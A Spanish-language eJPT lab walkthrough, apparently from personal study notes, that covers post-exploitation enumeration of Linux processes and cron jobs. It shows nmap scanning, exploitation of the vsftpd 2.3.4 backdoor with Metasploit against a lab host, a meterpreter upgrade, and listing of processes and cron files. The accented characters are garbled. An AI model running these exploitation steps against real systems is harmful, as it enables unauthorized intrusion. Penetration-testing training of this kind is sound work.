> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/enumeracion-de-linux/enumeracion-de-procesos-y-tareas-cron.md).
# Enumeraci贸n de procesos y tareas cron
## 馃И Laboratorio Pr谩ctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la m谩quina Kali.
**Paso 2:** Escaneo de puertos con Nmap.
Ahora que hemos identificado la direcci贸n IP de destino, podemos realizar un escaneo de puertos para identificar los servicios vulnerables que se ejecutan en el sistema objetivo. Esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
nmap -sV demo.ine.local
```
El an谩lisis de Nmap revela que el objetivo tiene un servidor FTP ejecut谩ndose en el puerto 21. La columna de versi贸n del an谩lisis de Nmap revela que el servidor FTP es vsftpd 2.3.4. Esta versi贸n de vsftpd es vulnerable a una vulnerabilidad de ejecuci贸n de comandos de puerta trasera y puede explotarse con un m贸dulo de Metasploit.
**Paso 3:** Obtener acceso.
Ahora que hemos identificado el servicio vulnerable que se ejecuta en el objetivo, podemos iniciar la consola de Metasploit Framework (msfconsole) ejecutando el siguiente comando:
**Dominio:**
```
msfconsole -q
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS demo.ine.local
exploit
id
```
**Nota:** Si el exploit no funcion贸 en el primer intento, ejec煤telo nuevamente.
Tambi茅n puede obtener una sesi贸n de meterpreter en el sistema de destino actualizando la sesi贸n del shell de comandos. Para ello, ejecute los siguientes comandos:
(Poner la sesi贸n actual en segundo plano.)
**Comandos:**
```
CTRL + Z
sessions -u 1
sessions -i 2
```
**Paso 4:** Enumerar procesos y trabajos cron.
Ahora que hemos obtenido acceso al sistema de destino y hemos obtenido una sesi贸n de meterpreter, podemos comenzar a enumerar los procesos y trabajos cron que se ejecutan en el sistema de destino.
Podemos comenzar enumerando la lista de procesos que se est谩n ejecutando en el sistema de destino, esto se puede hacer ejecutando el siguiente comando meterpreter:
**Dominio:**
```
ps
```
Como se muestra en la siguiente captura de pantalla, el comando mencionado anteriormente mostrar谩 una lista de todos los procesos en ejecuci贸n y sus respectivos ID de proceso (PID).
Tambi茅n podemos encontrar el PID de un servicio espec铆fico ejecutando el siguiente comando:
**Dominio:**
```
pgrep vsftpd
```
El sistema de destino no tiene la utilidad crontab instalada, por lo que deber谩 ejecutar los siguientes comandos en el sistema Kali Linux.
Podemos enumerar la lista de trabajos cron en el sistema Kali Linux ejecutando el siguiente comando:
**Dominio:**
```
ls -al /etc/cron*
```
## Conclusi贸n
En este laboratorio, aprendimos a enumerar la informaci贸n de procesos y trabajos cron de un sistema de destino que ejecuta Linux.